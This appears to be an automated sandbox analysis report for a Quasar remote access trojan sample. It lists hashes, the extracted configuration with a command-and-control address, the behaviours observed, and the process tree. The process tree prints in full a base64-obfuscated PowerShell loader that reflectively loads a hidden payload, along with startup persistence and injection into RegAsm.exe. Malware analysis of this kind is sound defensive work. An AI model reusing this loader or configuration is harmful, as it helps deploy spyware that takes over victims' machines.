quasar | ba78571683994ac10261134dab60e6e98dd417a417ff32aac59fe461e4e3ccd9

Analysis

max time kernel
145s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2024, 10:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d1ba7baf72077fb7d02f44c9f9b8f7ae.exe
Size 1.4MB
Sample240404-mntbjadb85
SHA256 ba78571683994ac10261134dab60e6e98dd417a417ff32aac59fe461e4e3ccd9
MD5 d1ba7baf72077fb7d02f44c9f9b8f7ae
SHA1 0350cd5db239fb09ec4f30bed172551e410a76d4
SHA512 f77a5df3ac6b9abe21c815a2ae0ea977a5b68cfe764dc2d081704766519b9c75b2943ab50145e8896b64e4a855ba99ea907b6d28ac8047975d19f68a48c87eae
SSDEEP 24576:jfL1G/8dALL9ZvVby0ko+aUTVLHqsBjXeUlw56+Vk0/Zu9EhXIQ6Qjo0e4:L00AF3y0V+DBLJXJWVkYMK1Xjo54
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar crypt test spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

crypt test

217.63.234.90:1313
127.0.0.1:1313

Mutex

da99a14a-4271-45bb-8160-64267493c2c9

Attributes

encryption_key
6B0D9CDFBF22251A89F554E059B7463C8CDE0F0C
install_name
explorer.exe
log_directory
Logs50spread
reconnect_delay
5000
startup_key
svchost.exe
subdirectory
Directory

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2376-55-0x0000000000400000-0x0000000000724000-memory.dmp	family_quasar

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.vbs	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1688 set thread context of 2376	1688	powershell.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2116	powershell.exe
2116	powershell.exe
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe
1688	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	2376	RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 3160	1736	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	85
PID 1736 wrote to memory of 3160	1736	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	85
PID 1736 wrote to memory of 3160	1736	d1ba7baf72077fb7d02f44c9f9b8f7ae.exe	85
PID 3160 wrote to memory of 1460	3160	wscript.exe	86
PID 3160 wrote to memory of 1460	3160	wscript.exe	86
PID 3160 wrote to memory of 1460	3160	wscript.exe	86
PID 1460 wrote to memory of 2116	1460	cmd.exe	88
PID 1460 wrote to memory of 2116	1460	cmd.exe	88
PID 1460 wrote to memory of 2116	1460	cmd.exe	88
PID 1460 wrote to memory of 1688	1460	cmd.exe	89
PID 1460 wrote to memory of 1688	1460	cmd.exe	89
PID 1460 wrote to memory of 1688	1460	cmd.exe	89
PID 1688 wrote to memory of 2228	1688	powershell.exe	97
PID 1688 wrote to memory of 2228	1688	powershell.exe	97
PID 1688 wrote to memory of 2228	1688	powershell.exe	97
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98
PID 1688 wrote to memory of 2376	1688	powershell.exe	98

C:\Users\Admin\AppData\Local\Temp\d1ba7baf72077fb7d02f44c9f9b8f7ae.exe
"C:\Users\Admin\AppData\Local\Temp\d1ba7baf72077fb7d02f44c9f9b8f7ae.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
      4⤵
      Drops startup file
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1688
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2228
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5
MD5 6195a91754effb4df74dbc72cdf4f7a6
SHA1 aba262f5726c6d77659fe0d3195e36a85046b427
SHA512 ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 4a84927cd6196526bf25e15b62e2ab7500ae9467367bc2c43bc7ff9d6ce71669
MD5 187db216a18ccd1e226f7d1996bab66d
SHA1 54063beef9245b9c9fe8694953933631eab0db71
SHA512 7e02822075aed2cb88c35d771c8ab22f0710e18732fa98df54f93f3c17110208d7d9fd9a7cf5d5848ce254fcd200c53c662b0a1f8e06564895376b3f4c9c922c
SSDEEP 384:9b+o49i+6B0Eir/BBifOVjIo9o2TVK6seYoX66/my3SoZeD3lNFePE97b9AcDX:xLKEirZofM9o2TVNjPVSNh78E9Xj
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_h2f0yyhr.ngu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2f0yyhr.ngu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

explorer.ps1

Path C:\Users\Admin\explorer.ps1
Size 1KB
SHA256 3deb7f2a8c8bcd92414bbc33f65d08524f3ff9e612e0cf1055f5df720a5e0249
MD5 8d0ee5a257b557dd664283de9f9e5950
SHA1 4a6607eaaa4a29bde89b60be0103c56dfe4bb9aa
SHA512 f16f5737f0f4e0bcfdaa113dba8892345ce94eff95606c88d688e86bb9ab3d64bf104b7b90a47e32fe36db8ed1d6d64551bbb2027c18b2ea8da93ce8e93e6198
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 1.7MB
SHA256 606b19bc9f1ea92ac77deb5f1483854b38fedec0e3b6ed4406a665c556e05f7f
MD5 b09a7a33e4538d30ca1619ed64d69b0e
SHA1 e98259cdd53cb078ba4dc361534c08a1c4af2104
SHA512 0a4eebdbf92ece0bf4abddd231cb5851eb7d6ccc1e4220c5c01811c0ec0b7627985badbf0828df361cf6117e2845951989b50246756f34c2f84a755353bc4ff9
SSDEEP 24576:2kWFUNdypkoPw8W5ot17PQmQYdYc750hUSofNp647TVNPN3NyR90HKk5zxMAAWYv:GpY5orPxL5gyNHfG9gvMlW3SOQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1688-49-0x0000000007C80000-0x0000000008224000-memory.dmp

Download

memory/1688-48-0x0000000007560000-0x0000000007582000-memory.dmp

Download

memory/1688-64-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/1688-47-0x0000000007590000-0x0000000007626000-memory.dmp

Download

memory/1688-54-0x0000000077611000-0x0000000077731000-memory.dmp

Download

memory/1688-51-0x00000000077F0000-0x0000000007B44000-memory.dmp

Download

memory/1688-53-0x0000000005E60000-0x0000000005E6A000-memory.dmp

Download

memory/1688-35-0x00000000051C0000-0x00000000051D0000-memory.dmp

Download

memory/1688-34-0x00000000051C0000-0x00000000051D0000-memory.dmp

Download

memory/1688-33-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/2116-18-0x00000000058E0000-0x0000000005946000-memory.dmp

Download

memory/2116-7-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/2116-27-0x0000000006310000-0x000000000632A000-memory.dmp

Download

memory/2116-26-0x0000000007710000-0x0000000007D8A000-memory.dmp

Download

memory/2116-25-0x0000000005E80000-0x0000000005ECC000-memory.dmp

Download

memory/2116-24-0x0000000005DC0000-0x0000000005DDE000-memory.dmp

Download

memory/2116-23-0x0000000005A00000-0x0000000005D54000-memory.dmp

Download

memory/2116-14-0x0000000005800000-0x0000000005866000-memory.dmp

Download

memory/2116-11-0x0000000005110000-0x0000000005132000-memory.dmp

Download

memory/2116-10-0x0000000005160000-0x0000000005788000-memory.dmp

Download

memory/2116-9-0x0000000004B20000-0x0000000004B30000-memory.dmp

Download

memory/2116-31-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/2116-8-0x0000000004B20000-0x0000000004B30000-memory.dmp

Download

memory/2116-6-0x0000000004A00000-0x0000000004A36000-memory.dmp

Download

memory/2376-57-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/2376-58-0x0000000005680000-0x0000000005712000-memory.dmp

Download

memory/2376-59-0x00000000055D0000-0x00000000055E0000-memory.dmp

Download

memory/2376-60-0x0000000005820000-0x000000000582A000-memory.dmp

Download

memory/2376-61-0x00000000066F0000-0x0000000006D08000-memory.dmp

Download

memory/2376-62-0x0000000006120000-0x0000000006170000-memory.dmp

Download

memory/2376-63-0x0000000006380000-0x0000000006432000-memory.dmp

Download

memory/2376-55-0x0000000000400000-0x0000000000724000-memory.dmp

Download

memory/2376-65-0x0000000074BB0000-0x0000000075360000-memory.dmp

Download

memory/2376-66-0x00000000055D0000-0x00000000055E0000-memory.dmp

Download